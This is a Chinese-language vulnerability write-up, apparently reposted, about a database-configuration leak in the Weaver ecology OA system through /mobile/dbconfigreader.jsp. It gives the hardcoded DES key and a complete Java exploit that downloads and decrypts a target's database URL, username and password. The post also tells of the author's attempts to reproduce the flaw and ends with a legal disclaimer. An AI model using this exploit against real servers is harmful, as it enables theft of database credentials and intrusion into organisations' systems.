泛微ecologyoa系统某接口存在数据库配置信息泄露漏洞分析 | 宜武汇-ag真人国际厅网站

目前
0x00 前言
0x01 漏洞简诉
0x02 漏洞分析
0x03 漏洞剖析
0x04 漏洞复现
0x05 复现那些泪水
0x06 复现总结
0x07 免责声明

漏洞被曝光有几天时间了。一直在上课没有时间写,昨天晚上整了一晚上,加上今天下午和学长搞了一下午才复现成功!
经过这次我意识到了会开发的重要性,我前前后后问了一堆人,百度了一堆问题!最后发现会开发能解决这一切问题!

各位看官且看下文分析!


漏洞涉及范围,用fofa搜索,看影响范围,还挺大的!

影响版本:包括不限于8.0、9.0版


分析看源码[1]分析,sb字符串是url、user、password和logintype组成!
然后str是sb的字符串转成字节,(重点!!!)keystring是1z2x3c4v5b6n 。
keybyte是keystring转成字节而来!
dsk1 是 deskeyspec 类对象。
接下去都是加密的过程!(说实话我现在还有点迷)


经过上面一系列的操作,然后我访问使用payload访问目标站点,会看到是一堆由des加密的乱码!


经过一系列的分析,不难发现利用这漏洞只要掌握两个要点!

  1. 获取密钥,这点看不到源码的话是根本不可能实现的。但是我们可以根据上面源码默认密钥1z2x3c4v5b6n。
  2. 使用密钥解密des密文!这个得去看看java如何实现des加密解密算法,还要研究透des算法。

    /**  * 解密实现 源码来着https://www.cnblogs.com/itrena/p/9081056.html  * @param src byte[]  * @param password string  * @return byte[]  * @throws exception  */ public static byte[] decrypt(byte[] src, string password) throws exception { // des算法要求有一个可信任的随机数源 securerandom random = new securerandom(); // 创建一个deskeyspec对象 deskeyspec deskey = new deskeyspec(password.getbytes()); // 创建一个密匙工厂 secretkeyfactory keyfactory = secretkeyfactory.getinstance("des"); // 将deskeyspec对象转换成secretkey对象 secretkey securekey = keyfactory.generatesecret(deskey); // cipher对象实际完成解密操作 cipher cipher = cipher.getinstance("des"); // 用密匙初始化cipher对象 cipher.init(cipher.decrypt_mode, securekey, random); // 真正开始解密操作 return cipher.dofinal(src); } 

昨天晚上经过大量实践分析,咨询之后!我还是失败了。
今天早上起来已经是中午。
像往常一样打开微信qq看看亲友群[2]、朋友圈、qq空间!
当我看到我这个漏洞圈子社区17小时之前有人已经发了exp[3]。我就迫不及待的去试试了!

package com.test; import org.apache.http.httpentity; import org.apache.http.client.methods.closeablehttpresponse; import org.apache.http.client.methods.httpget; import org.apache.http.impl.client.closeablehttpclient; import org.apache.http.impl.client.httpclientbuilder; import org.apache.http.util.entityutils; import javax.crypto.cipher; import javax.crypto.secretkey; import javax.crypto.secretkeyfactory; import javax.crypto.spec.deskeyspec; import java.security.securerandom; public class readdbconfig { private final static string des = "des"; private final static string key = "1z2x3c4v5b6n"; public static void main(string[] args) throws exception { if(args[0]!=null&& args[0].length() !=0){ string url = args[0] "/mobile/dbconfigreader.jsp"; system.out.println(readconfig(url)); }else{ system.err.print("use: java -jar ecologyexp http://127.0.0.1"); } } private static string readconfig(string url) throws exception { closeablehttpclient httpclient = httpclientbuilder.create().build(); httpget httpget = new httpget(url); closeablehttpresponse response = httpclient.execute(httpget); httpentity responseentity = response.getentity(); byte[] res1 = entityutils.tobytearray(responseentity); byte[] data = subbytes(res1,10,res1.length-10); byte [] finaldata =decrypt(data,key.getbytes()); return (new string(finaldata)); } private static byte[] decrypt(byte[] data, byte[] key) throws exception { securerandom sr = new securerandom(); deskeyspec dks = new deskeyspec(key); secretkeyfactory keyfactory = secretkeyfactory.getinstance(des); secretkey securekey = keyfactory.generatesecret(dks); cipher cipher = cipher.getinstance(des); cipher.init(cipher.decrypt_mode, securekey, sr); return cipher.dofinal(data); } public static byte[] subbytes(byte[] src, int begin, int count) { byte[] bs = new byte[count]; system.arraycopy(src, begin, bs, 0, count); return bs; } } 

看完之后,有点惊喜又有点失落。惊喜的是有完整的源码,但是没有jar。
这个让我一个java菜鸟如何是好!我在求助了一个热心做开发的学长之后,经过我们不断试错!不断debug,终于完成了!

千辛万苦解决一切bug之后首先遇见第一道坑!


第二道坑!


第三个坑!
这个坑是这个网站使用不同的密钥导致的!(也就是密钥不是1z2x3c4v5b6n)


  1. 开发经验不足
  2. 接触太少加密算法
  3. 有一个开发朋友很重要
  4. 我的安全之路还有很长的路要走

没有放出jar文件是因为最新安全发的缘故。请遵守《网络安全法》等相关法律法规。


[1]源码来着360cet公共号:
[2]亲友群:就是安全群。在不同安全群常常能见到很多相同的人,所以被称为亲友群。
[3]exp源码来着:

原文链接:https://xz.aliyun.com/t/6644

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/泛微ecologyoa系统某接口存在数据库配置信息泄露漏洞分/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图